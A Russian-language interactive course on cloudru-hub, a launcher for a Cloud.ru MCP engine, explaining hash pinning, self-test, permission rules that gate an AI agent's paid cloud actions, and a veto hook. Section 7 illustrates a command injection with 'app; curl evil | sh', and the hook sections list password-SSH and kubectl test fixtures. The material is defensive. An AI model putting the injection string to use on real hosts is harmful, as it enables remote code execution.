Бесплатный интерактивный курс · aicoding.space
cloudru-hub: весь Cloud.ru под рукой у твоего AI-агента
Практический курс по @dzhechkov/cloudru-hub — тонкому лаунчеру MCP-движка cloudru-vm (144 инструмента для Cloud.ru Evolution). Вместе с Леной ты разберёшься, что лежит в пакете, а чего в нём нет по замыслу; научишь лаунчер находить движок и сверять его хеш; прогонишь self-test до строки ALL GREEN; поймёшь, как тормоз платных шагов делит 144 инструмента на allow/ask/deny; поставишь связку в Claude Code с исполненной пробой вето; узнаешь, почему одни платформы получают полную установку, а другие — только указатель; скомпилируешь диалект навыка и проверишь, что гейты честности пакета действительно ловят поломки.
Содержание курса
1. Что такое cloudru-hub и зачем он нужен
Тонкий лаунчер MCP-движка cloudru-vm: что он делает сам, а что отдаёт движку.
Ключевая мысль: лаунчер, который находит движок
Лена только что получила доступ к Cloud.ru Evolution и хочет одного: сказать Claude Code «подними стенд» — и чтобы стенд поднялся. Её первый вопрос был таким же, как у тебя: «а что вообще такое cloudru-hub, если сам движок — это отдельная Go-программа?»
Ответ короткий: cloudru-hub — это лаунчер, который находит движок и запускает его. Лаунчер — тонкая обёртка на JavaScript без единой зависимости: она ищет бинарник движка cloudru-vm на твоей машине, сверяет его хеш и запускает как MCP-сервер. Сам движок — Go-программа со 144 инструментами (число измерено живым запросом tools/list, снимок лежит в data/tools-list-snapshot.json): виртуалки, Kubernetes, PostgreSQL, Kafka, Redis, DNS, S3, сертификаты, биллинг и мастер деплоя docker-compose.
Что лаунчер добавляет от себя, кроме запуска:
- тормоз платных шагов — правила разрешений и вето-хук, чтобы агент спрашивал перед каждым действием, которое стоит денег;
- установщики под конкретную платформу — Claude Code получает полную связку, остальные ровно столько, сколько можно доставить честно;
- компилятор диалектов навыка — из одного канонического текста собирает варианты под разные платформы.
Важная оговорка, которую пакет повторяет на каждом шагу: он неофициальный и никак не связан с Cloud.ru — просто разговаривает с публичным API через движок.
Пакет живёт на npm: страница @dzhechkov/cloudru-hub на npmjs.com, исходники — в публичном зеркале на GitHub.
Компромисс: движок не лежит внутри пакета, и это создаёт лишний шаг — его нужно откуда-то взять и показать лаунчеру. Взамен ты получаешь лаунчер, который никогда не запустит неизвестный бинарник молча: он всегда скажет, где нашёл движок и совпал ли хеш.
🧾 Квитанция. Первое, что Лена набрала: cloudru-hub help. Одна страница текста, exit 0 — лаунчер жив и рассказывает про семь команд. Что означает каждая — разберём по ходу курса.
2. Что лежит в пакете — и чего в нём нет по замыслу
Пять частей нашего кода и ноль байтов чужого движка: как пакет разложен и почему.
Ключевая мысль: ноль байтов движка в пакете
Лена сделала то, что делает любой инженер с новым пакетом: npm pack --dry-run, чтобы посмотреть, что реально уедет в архив. И удивилась: ни одного бинарника, ни одного файла на Go. «Где движок?»
Это не забывчивость, а правило пакета: ноль байтов движка в пакете (решение ADR-002). Дело в авторстве. Основа — оригинальный Go CLI и всё, что лежит в этом пакете (лаунчер, адаптеры, установщик, тесты), — работа Дмитрия Жечкова под MIT. А дополнения движка — слой из ~144 MCP-инструментов — написал Тимур, автор движка Hermes. Он одобрил публикацию (запись о согласии — в LICENSE, часть 2, строка Grant-Confirmation:), но лицензии на сами дополнения не назначал. Поэтому пакет не даёт третьим лицам никаких прав на них — и физически не содержит их.
Что в пакете лежит (всё — наш код):
- Лаунчер
bin/cloudru-hub.js— находит движок во время запуска и сверяет sha256 с пином вpackage.json. - Тормоз платных шагов
src/install.js+templates/.claude/hooks/— правила ask/deny/allow и вето-хук. - Ярусы целевых платформ — тот же
src/install.jsрешает, кому полная установка, кому только указатель. - Компилятор диалектов
src/dialects.js+data/dialects.json— генерирует варианты навыка под платформы. - Золотая классификация
data/tools-classification.json— каждый инструмент движка → allow/ask/deny.
Чего в пакете НЕТ по замыслу: бинарника движка, исходников на Go и канонического корпуса навыка. Их лаунчер берёт снаружи — из дистрибутива движка, который ты укажешь сам.
Компромисс: такая раскладка честна по авторству и проверяется тестом (тест перебирает список файлов из npm pack --dry-run и отклоняет ELF-магию, .go-файлы и пути движка). Но она же означает, что «просто npm i и работает» не будет — движок придётся добыть отдельно.
🧾 Квитанция. У Лены npm pack --dry-run показал bin/, src/, templates/, data/, docs/, test/ и документы лицензии — и ни одного файла, которого она не смогла бы прочитать глазами.
3. Где движок: три пути поиска и один громкий отказ
CLOUDRU_VM_BIN → config.json → платформенный пакет → понятная ошибка: как лаунчер ищет бинарник.
Ключевая мысль: порядок поиска движка
Раз движка в пакете нет, лаунчер должен его найти. Лена запустила cloudru-hub resolve на чистой машине и получила не пустой экран, а подробный отказ с тремя пунктами: где искали и почему не нашли. Прежде чем читать дальше, реши за неё: какой из трёх путей ты бы выбрал для своего ноутбука, а какой — для сервера команды?
Порядок поиска движка зашит в src/resolve.js и всегда один и тот же — первое попадание побеждает:
- Переменная окружения
$CLOUDRU_VM_BIN— явный путь. Самый простой способ, именно им пользуется локальная проверка. - Поле
enginePathв файле~/.cloudru-hub/config.json(путь к файлу можно переопределить через$CLOUDRU_HUB_CONFIG) — постоянная настройка. - Платформенный пакет
@dzhechkov/cloudru-vm-linux-x64с бинарником внутри — если он установлен рядом. Внимание: этого пакета на npm пока НЕТ: его первая публикация ждёт доверенной CI-сборки. - Ничего не нашли → громкий отказ: лаунчер печатает все три пути, что по каждому было (не задано / задано, но это не файл) и куда идти за движком (
docs/LOCAL-TESTING.md).
Кандидат, который есть в списке, но не является обычным файлом, просто пропускается — поиск идёт дальше по цепочке.
Компромисс: порядок фиксирован, и это удобно (всегда знаешь, что перебьёт что: переменная окружения сильнее конфига), но он же не даёт тебе «подсунуть» путь четвёртым способом. Если движок лежит в нестандартном месте — либо переменная, либо конфиг.
🧾 Квитанция. Лена экспортировала CLOUDRU_VM_BIN=/path/to/engine-build/cloudru-vm и повторила cloudru-hub resolve: строка source env — движок найден через первый путь, а следом sha256 и вердикт по пину. Про пин — следующая секция.
4. Сверка sha256 с пином: когда терпеть, а когда отказывать
Один и тот же несовпавший хеш для разных источников значит разное — и это осознанное решение.
Ключевая мысль: сверка sha256 с пином
Вот вопрос, на который нет очевидного ответа, — подумай над ним ДО того, как читать дальше. Лена собрала движок сама, из исходников, и указала на него переменной окружения. Хеш не совпал с закреплённым. Должен ли лаунчер отказаться его запускать?
Сначала термины. Пин — закреплённый в package.json (поле cloudruHub.binaryHashes) хеш sha256 эталонного бинарника: 59f83fc0…c05124 для linux-x64, движок cloudru-vm 0.2.3-20260718. Сверка sha256 с пином — лаунчер хеширует найденный файл и сравнивает с пином. Дальше начинается интересное: реакция на несовпадение зависит от того, ОТКУДА пришёл движок.
- Платформенный пакет (источник
platform-package): несовпадение — жёсткий отказ. Это артефакт из реестра, он обязан быть байт-в-байт равен пину — иначе кто-то подменил его по дороге (правило цепочки поставок ADR-002). - Переменная окружения или конфиг (источники
env/config): несовпадение терпится, но честно сообщается:verified NO — not the pinned baseline. Владелец сам указал на этот файл — значит, это его сборка для разработки, и он имеет право её запустить.
Так что ответ на вопрос про сборку Лены: лаунчер запустит её, но не станет делать вид, что это эталон. cloudru-hub resolve --json вернёт verified: false, и это правда, а не ошибка.
Компромисс: мягкость к своим путям — удобство для разработчика и одновременно дыра, если ты по привычке экспортируешь CLOUDRU_VM_BIN на чужой файл. Лаунчер защищает от подмены в реестре, а не от тебя самого. Читай строку verified глазами.
🧾 Квитанция. Лена на эталонном бинарнике: verified yes — matches the pinned baseline. На своей сборке: verified NO — not the pinned baseline (tolerated for env/config paths). Обе строки — из вывода cloudru-hub resolve.
5. self-test: пять шагов до ALL GREEN
Одна команда проверяет всю цепочку: движок найден, хеш сверен, версия отвечает, 144 инструмента живы, классификация полная.
Ключевая мысль: self-test: пять шагов до ALL GREEN
Хватит читать — Лена уже открыла терминал в папке пакета, открывай и ты. Никаких учётных данных Cloud.ru для этого шага не нужно: запрос tools/list движок отвечает без ключей.
Команда одна: node bin/cloudru-hub.js self-test (или просто cloudru-hub self-test, если сделал npm link). Она проходит пять шагов до ALL GREEN, и каждый печатает свою строку:
- resolve — где найден движок и через какой путь (
source: env). - sha256 — хеш файла и совпал ли он с пином (
MATCHES pinned baseline). - engine-version — движок запущен с аргументом
versionи ответил:cloudru-vm 0.2.3-20260718. - tools-list — живой JSON-RPC-запрос
tools/list:144 tools live (snapshot: 144). - classification-coverage — каждый живой инструмент есть в золотой классификации (
144 golden entries).
Если все пять зелёные — последняя строка self-test: ALL GREEN и exit 0. Любой красный шаг — self-test: FAILED, exit 1, и цепочка останавливается там, где сломалась: без движка не будет версии, без версии — списка инструментов.
Флаг --json отдаёт тот же результат структурой { steps: [...], ok: true } — удобно для скриптов и CI.
Компромисс: self-test доказывает, что связка живая и движок тот самый, но НЕ трогает облако — ни одной виртуалки он не создаст и ни рубля не потратит. Это его сила (безопасно гонять сколько угодно) и его граница: что реальные вызовы инструментов работают с твоими ключами, он не проверяет.
🧾 Квитанция. Пять строк с галочками и self-test: ALL GREEN — ровно такой вывод зафиксирован в docs/LOCAL-TESTING.md как измеренный на эталонном бинарнике. Лена сверила свой экран с ним построчно.
6. Тормоз платных шагов: allow, ask, deny
144 инструмента делятся на 77 allow, 65 ask и 2 deny — и неизвестный инструмент запрещён по умолчанию.
Ключевая мысль: тормоз платных шагов
Вот и главный страх Лены: агент ночью решил «оптимизировать» и поднял три виртуалки. Ответ пакета на этот страх — тормоз платных шагов (решение ADR-004): между агентом и каждым инструментом движка стоит правило разрешений, а сверху — вето-хук.
Правила рождаются из золотой классификации data/tools-classification.json: у каждого из 144 инструментов есть effect (что он делает) и permission (что разрешено). Счёт на сегодня — числа из самого файла:
- allow — 77 инструментов. Только чтение:
status,vm_list,list_zones,deploy_planи подобные. Агент зовёт их без вопросов. - ask — 65 инструментов. Всё, что изменяет облако или дотягивается до shell:
deploy,provision,vm_exec,destroy,k8s_create,k8s_kubectl… Перед каждым вызовом Claude Code спросит тебя. - deny — 2 инструмента.
secret_valueиcert_private_key— читалки секретов. Агент их не получит вообще.
Правила пишутся в .claude/settings.json в ДВУХ написаниях — mcp__cloudru-vm__* и mcp__cloudru_vm__*, — потому что какое из них использует среда выполнения, пока не проверено живой пробой. Лишнее правило безвредно, а вот пропущенное — нет.
И самое важное правило — про то, чего в файле НЕТ: живой инструмент, неизвестный классификации, — это находка дрейфа, запрет по умолчанию. Появился в движке новый инструмент — self-test упадёт на шаге coverage и назовёт его по имени, а не пропустит молча.
Компромисс: 65 вопросов «можно?» — это трение. Лена поначалу ворчала. Но каждый вопрос — это ровно тот момент, когда деньги ещё не потрачены. Тормоз меняет удобство на предсказуемость счёта, и обратной сделки пакет не предлагает.
Прежде чем перейти к упражнению, реши сам: куда бы ты отнёс инструмент, который только читает состояние, но при этом запускает следующий шаг задания на сервере? Ответ — в следующей секции; здесь Лена решает три случая попроще.
7. Схема — не доказательство: поведенческий аудит
Два инструмента выглядели безобидно по описанию — и оба оказались опасны. Почему allow даётся только по коду.
Ключевая мысль: поведенческий аудит обработчика
Сюрприз этой секции неприятный: инструмент, который по описанию только читает, может тратить деньги. Помнишь вопрос из прошлой секции? Вот ответ Лены — и он был неверным.
Первый пример — stack_status. По схеме — «статус стека», читалка. Первая версия классификации так его и отнесла: у него нет свойства confirmed, значит, безопасен. Потом кто-то прочитал обработчик в движке (tools_stack.go:479): stack_status продвигает запланированное задание на следующий шаг на стороне сервера и сам вызывает платные инструменты создания. Воспроизведено вживую: один вызов перевёл задание из planned в running и попытался выполнить provision. Цепочка stack_plan → stack_status без единого вопроса пользователю — вот что открыл бы allow. Теперь stack_status — ask.
Второй пример — logs. «Показать логи», что может быть безобиднее? Обработчик берёт аргумент service и без экранирования приклеивает его к команде docker compose logs <service>, которая выполняется на твоей виртуалке по SSH (engine/logs.go:61). Значит, service = "app; curl evil | sh" — выполнение произвольного кода на твоей машине. Классификатор не может исправить движок (автору движка сообщено), но может поставить logs за ask — и поставил.
Отсюда правило пакета: allow даётся только по поведенческому аудиту обработчика. Поведенческий аудит — это когда кто-то прочитал код обработчика инструмента в движке на закреплённой версии и записал в классификацию, что именно он делает, с ссылкой файл:строка. Схема инструмента — его описание и список аргументов — для allow недостаточна никогда. Посмотри на запись status в data/tools-classification.json: «читает локальный файл состояния, без обращения к облаку, без записи, без вызова других инструментов, tools.go:1720». Вот как выглядит основание для allow.
Компромисс: аудит по коду дорог — 77 обработчиков прочитаны глазами, и при каждом обновлении движка это придётся повторить для изменившихся. Зато оба этих «безобидных» инструмента — измеренные случаи, а не гипотезы; эвристика по схеме уже ошиблась один раз, и пакет не даёт ей второго шанса.
Лена после этой секции перестала верить описаниям: «читает» — это слово, а не свойство.
8. Установка в Claude Code с исполненной пробой вето
Три файла, слияние без затирания — и установщик, который отказывается говорить «готово», пока не увидел вето своими глазами.
Ключевая мысль: исполненная проба вето
Пора ставить связку в настоящий проект. Лена в папке своего проекта запускает: cloudru-hub install --target claude-code --dir /path/to/project (без --dir берётся текущая папка). Установщик делает три вещи и одну проверку.
Три файла — всегда слиянием, никогда затиранием твоих настроек:
.mcp.jsonв корне проекта — серверcloudru-vm, командаnode <путь к лаунчеру> mcp. С флагом--npxвместо пути подставитсяnpx -y @dzhechkov/cloudru-hub mcp. Именно.mcp.jsonв корне:.claude/mcp.jsonClaude Code не читает — измеренный провал..claude/settings.json— тормоз платных шагов как данные:allow/ask/denyв обоих написаниях префикса, объединение множествами (твои правила остаются, наши deny не могут выпасть) и хукиPreToolUseнаBashи наmcp__cloudru[-_]vm__k8s_kubectl..claude/hooks/cloudru-ssh-guard.cjs— сам вето-хук, скопированный из шаблона с правом на выполнение.
А теперь то, ради чего секция. Файлы лежат — но наличие файла хука — не доказательство, что хук работает. Поэтому установщик проводит исполненную пробу вето: прогоняет через только что записанный хук четыре контрольных случая и сверяет коды выхода:
sshpass -p hunter2 ssh user1@1.2.3.4→ ждёт exit 2 (запрещено);ssh -i /tmp/key user1@1.2.3.4 uptime→ ждёт exit 0 (разрешено, ключ есть);k8s_kubectl rollout restart deployment/app→ ждёт exit 2;k8s_kubectl rollout status deployment/app→ ждёт exit 0.
Любое несовпадение — установщик печатает NOT installed и возвращает код 1. Хук, который не блокирует, неотличим от отсутствующего, и «готово» он не скажет.
Компромисс: установщик проверяет всё, что может проверить с диска, но одну вещь машина отсюда увидеть не может: спросит ли Claude Code разрешение на самом деле. Поэтому в конце он печатает ручную пробу: открыть свежую сессию, позвать mcp__cloudru-vm__deploy и убедиться, что появился запрос разрешения, — и записать, какое написание префикса среда использовала.
🧾 Квитанция. У Лены четыре строки probe … ✓ и cloudru-hub install: ✓ veto EXECUTED and observed on the forbidden fixtures. — exit 0. Без этой строки установки не было, что бы ни лежало на диске.
9. Ярусы целевых платформ: кому полная связка, кому указатель
Claude Code, codex, agents-md, cursor: четыре яруса доставки и честный отказ там, где тормоз поставить нельзя.
Ключевая мысль: ярус целевой платформы
Коллега Лены работает в Cursor и попросил: «поставь мне то же самое». Лена запустила cloudru-hub install --target cursor — и получила отказ с кодом 2. Не ошибку, а осознанное «нет» с причиной. Прежде чем читать почему, реши за неё: честнее выдать Cursor «почти такую же» установку без работающего вето — или отказать?
Пакет отвечает вторым. Ярус целевой платформы (решение ADR-005) — это уровень доставки, который платформа заслужила живой проверкой, а не обещанием документации. Ярусов четыре:
- full —
claude-code. Полная установка из прошлой секции:.mcp.json, тормоз, хук и исполненная проба. Код 0. - plan-only —
codex. План печатается, но НЕ применяется: код 3. Причина измерена: проектныйhooks.jsonв codex — молчаливый no-op, хуки работают только из пользовательского~/.codex/hooks.json, а неисполненное вето неотличимо от отсутствующего. План — три шага:codex mcp add cloudru-vm -- cloudru-hub mcp, слияние хука в пользовательский файл и обязательная ручная пробаsshpassв сессии codex. - pointer —
agents-md,gemini. Только указатель: файлCLOUDRU-POINTER.mdне длиннее 2048 символов, без инструментов и без исполняемых инструкций, зато с обязательным предупреждением «здесь НЕТ детерминированного вето платных операций». Код 0, но честно: это не установка, это табличка. - degraded (отказ) —
openclaude,opencode,cursor,windsurf,copilot. Код 2 и причина по имени. У Cursor вето-хуки только описаны в документации, у Windsurf бюджет инструментов 100 < 144, у Copilot агент «не будет спрашивать вашего одобрения» по построению. Пока живая проба не доказала обратное — отказ.
Неизвестное имя платформы — код 1 и список известных.
Компромисс: ярусы сужают аудиторию: полную связку сегодня получает только Claude Code. Зато ни одна платформа не получает «поддержку» на бумаге, которая ночью пропустит deploy без вопроса. Ярус можно поднять — но живой пробой, а не правкой таблицы.
Лена отправила коллеге указатель для AGENTS.md и честное «в Cursor тормоза нет — не запускай оттуда мутирующие инструменты».
10. Вето-хук изнутри: exit 0 или exit 2
Тридцать строк, которые стоят между агентом и парольным SSH: как хук читает вызов и чем отвечает.
Ключевая мысль: exit 2 означает вето
Посмотри сначала на схему ниже, потом на текст: хук — это конвейер из четырёх шагов, и весь его смысл в последнем. Лена открыла templates/.claude/hooks/cloudru-ssh-guard.cjs и удивилась, какой он короткий.
Контракт хука PreToolUse в Claude Code простой: перед вызовом инструмента среда запускает хук, подаёт ему на stdin JSON { tool_name, tool_input } и смотрит на код выхода. exit 0 означает «разрешаю», exit 2 означает вето — вызов не состоится, а текст со stderr увидит модель и поймёт, почему.
Что хук запрещает — три правила из функции decide():
- Bash +
sshpass+ адрес ВМ (@1.2.3.4) → вето: «парольный SSH к Cloud.ru ВМ запрещён — ключ на ВМ есть, движок кладёт его сам; возьми ssh-команду из ответаdeploy_applyдословно». - Bash +
ssh user1@<ip>без-i→ вето: SSH без деплой-ключа. mcp__cloudru-vm__k8s_kubectl(в любом написании префикса) +rollout <глагол>, где глагол неstatusи неhistory→ вето:rollout restart,undoи прочие изменяют прод без подтверждения — это измеренная дыра классификатора движка, и хук закрывает её на нашей стороне независимо от движка.
Всё остальное → exit 0. И одна тонкость, которую стоит знать: если на stdin пришёл не-JSON, хук выходит с 0, а не с 2. Сломанный хук не должен заблокировать каждый вызов Bash в сессии — но разобранный вызов с платным шагом всегда получает детерминированный ответ.
Компромисс: правила — регулярные выражения, перенесённые из исходного хука движка как есть; они точны на измеренных случаях и не претендуют на полноту. Хук — второй ремень поверх правил ask/deny, а не замена им: правило разрешений останавливает инструмент по имени, хук — по содержимому аргументов.
🧾 Квитанция. Лена проверила руками: echo '{"tool_name":"Bash","tool_input":{"command":"sshpass -p x ssh user1@1.2.3.4"}}' | node .claude/hooks/cloudru-ssh-guard.cjs; echo $? → на stderr строка с ⛔, код выхода 2.
11. Компилятор диалектов: один канон, много целей
Из канонического навыка движка — варианты под платформы, с жёстким отказом, если в выходе выжил чужой диалект.
Ключевая мысль: компилятор диалектов
Эта секция — про твои решения, а не про готовые ответы. У Лены есть дистрибутив движка с папкой skill/cloudru-hub/ — канонический навык, написанный на диалекте движка Hermes: свои имена инструментов (tool_search, tool_call), свои пути, свои словечки. В Claude Code это всё — мусор, который агент примет за инструкции. Что делать?
Компилятор диалектов (решение ADR-006) — это генератор: один канонический источник, а варианты под платформы порождаются из data/dialects.json, ручные форки запрещены. Команда: cloudru-hub compile-skill --canonical <движок>/skill/cloudru-hub --target claude-code --out ./skill-out. Канонический корпус в пакете НЕ лежит (ноль байтов движка, помнишь?) — ты сам указываешь на него --canonical.
Что компилятор гарантирует кодом, а не ревьюером — четыре инварианта:
- Диалект вычищен. Замены применяются по порядку ко всем
.md(23 для claude-code, 22 для codex), после чего компилятор ТРЕБУЕТ, чтобы не выжил ни один из 8 запрещённых токенов Hermes (tool_search,tool_call,/opt/data,SOUL, «капитан»…). Выжил — жёсткий отказ, вариант не пишется. - Кодовое имя движка не просочилось — ни в каком регистре, ни в одном выходном файле:
hermes,dzhechko,cloudru-vm-cli,captainkeysпо границам слов. Это позитивный инвариант поверх списка замен: измерено, что один список замен пропустил голое кодовое имя 5 раз. - Битые ссылки расцеплены. Относительная ссылка на
.md, которого нет в выходе, превращается в текст без ссылки и считается — инструкция не указывает в пустоту. - Размер и детерминизм. Роутер навыка не длиннее 12 000 символов на платформах с потерями; компиляция — чистая функция от (байты канона, конфиг): два прогона дают байт-в-байт одинаковый результат.
Отдельная хитрость: голое cloudru-vm кодовым именем НЕ считается — это же законное имя MCP-сервера, которое обязано быть в выходе. Вместо этого вычищаются две однозначные формы утечки: путь .cloudru-vm → .cloudru-hub и вызов cloudru-vm deploy → cloudru-hub deploy для реального набора глаголов движка.
Компромисс: компилятор строг — падает целиком на одном выжившем токене, и это раздражает при первом прогоне. Но альтернатива — навык, который в Claude Code уверенно советует несуществующий tool_search. Отказ громкий и до отгрузки; ложь — тихая и после.
Лена на первом прогоне получила именно такой отказ — выжил один путь /opt/data — и поправила таблицу замен, а не проверку. Теперь реши за неё сам — три развилки в упражнении.
12. Гейты честности: мутационный гейт и застава лицензии
13 свойств безопасности, каждое доказано красным тестом; лицензионная застава остаётся взведённой после разрешения на публикацию.
Ключевая мысль: мутационный гейт
Последняя секция — про то, откуда ты знаешь, что всё сказанное выше правда, а не обещание в README. Остановись и подумай: чему из этого курса ты поверил на слово? Лена честно ответила: «свойствам безопасности». Вот как пакет не даёт себе врать.
Мутационный гейт — это проверка, которая нарочно ломает защиту и требует, чтобы тесты стали красными. Гейт (здесь и дальше) — застава: проверка, через которую изменение обязано пройти, чтобы уехать дальше. Логика простая: если ты удалил защиту, а тесты остались зелёными, они не проверяли эту защиту никогда. Каждое из 13 именованных свойств пакета имеет запись в test/mutation-registry.json; запуск dz mutation-gate --package packages/cloudru-hub удаляет защиту и ждёт красного. Результат 2026-08-12: 13/13 PROVEN. Среди свойств — всё, что ты прошёл: ноль байтов движка, вето на sshpass и rollout, stack_status и logs за ask, взведённый запрет кодовых имён, две чистки форм утечки.
Вторая застава — лицензионная. Разрешение автора движка на публикацию получено 12 августа 2026 и записано в LICENSE (часть 2, Grant-Confirmation:). Казалось бы, поле licenseHold в package.json можно снять. Его оставили нарочно: правило licence-hold в dz guard пропускает удовлетворённую заставу с оставленным триггером — и продолжает при каждой публикации проверять LICENSE (нет заглушки PENDING, есть ссылка на подтверждение), THIRD_PARTY_NOTICES и поле SPDX. Тесты пакета отдельно закрепляют честную формулировку: согласие засвидетельствовано владельцем, никакой выдуманной лицензии от имени автора. Убери поле — test/pack-holds.test.mjs покраснеет.
Чек-лист публикации после разрешения — четыре пункта, три закрыты, один открыт честно:
- ✅ запись о согласии в LICENSE,
license: MITтолько на наш код,privateснят, триггер оставлен; - ✅
dz guard check --op publishпроходит; - ⏳ платформенный пакет с бинарником не опубликован — ждёт доверенной CI-сборки с
-trimpathи сверки лицензий Go-зависимостей; - ✅ пакет опубликован штатным релизным путём.
Суммарно: 70 тестов, 70 проходят (npm test, node:test, без зависимостей — измерено 2026-08-12).
Компромисс: мутационный гейт и застава лицензии — лишняя работа на каждый релиз. Взамен слово «доказано» в README означает наблюдённый красный тест, а не мнение. Спроси себя напоследок: в твоём собственном проекте какое из «гарантированных» свойств умрёт молча, если удалить его защиту? Лена назвала три.
Частые вопросы
- Я поставил пакет через npm, а cloudru-hub resolve говорит, что движка нет. Это поломка?
Нет, это замысел: в пакете ноль байтов движка (ADR-002). Укажи бинарник переменной CLOUDRU_VM_BIN или полем enginePath в ~/.cloudru-hub/config.json. Платформенный пакет @dzhechkov/cloudru-vm-linux-x64 с бинарником пока не опубликован — ждёт доверенной CI-сборки.
- Нужны ли ключи Cloud.ru, чтобы прогнать self-test?
Нет. Все пять шагов, включая живой tools/list, работают без учётных данных. Ключи (CLOUDRU_KEY_ID, CLOUDRU_SECRET, CLOUDRU_PROJECT_ID) понадобятся только для реальных вызовов инструментов.
- Почему в .claude/settings.json каждое правило записано дважды — mcp__cloudru-vm__ и mcp__cloudru_vm__?
Какое написание префикса использует среда выполнения, ещё не подтверждено живой пробой. Лишнее правило безвредно, пропущенное — опасно, поэтому пишутся оба. Установщик просит записать наблюдённое написание после ручной пробы.
- Установщик отказал моей платформе (cursor, windsurf, copilot…). Как получить связку?
Отказ — ярус degraded (ADR-005): вето на этой платформе не доказано живой пробой, а мутирующий путь без тормоза не доставляется никуда. Ярус поднимается живой пробой, не правкой таблицы. Пока — работай из Claude Code или используй pointer-таргет для указателя без инструментов.
- Можно перевести logs или stack_status в allow, чтобы агент меньше спрашивал?
Технически — правкой data/tools-classification.json, но это ослабление: logs — измеренная инъекция команды по SSH, stack_status продвигает платные задания на сервере. Оба свойства защищены мутационным гейтом: откат к allow красит тесты.
- Где взять канонический навык для compile-skill?
В дистрибутиве движка, папка skill/cloudru-hub рядом с бинарником. Пакет его не содержит по правилу «ноль байтов движка»; укажи путь флагом --canonical.
- Пакет официальный? Кто отвечает за движок?
Пакет неофициальный и никак не связан с Cloud.ru. Лаунчер, установщик, компилятор и тесты — Дмитрий Жечков (MIT). Дополнения движка (слой из 144 MCP-инструментов) — Тимур, автор движка Hermes; он одобрил публикацию, но лицензии на сами дополнения не назначал, и пакет их не содержит.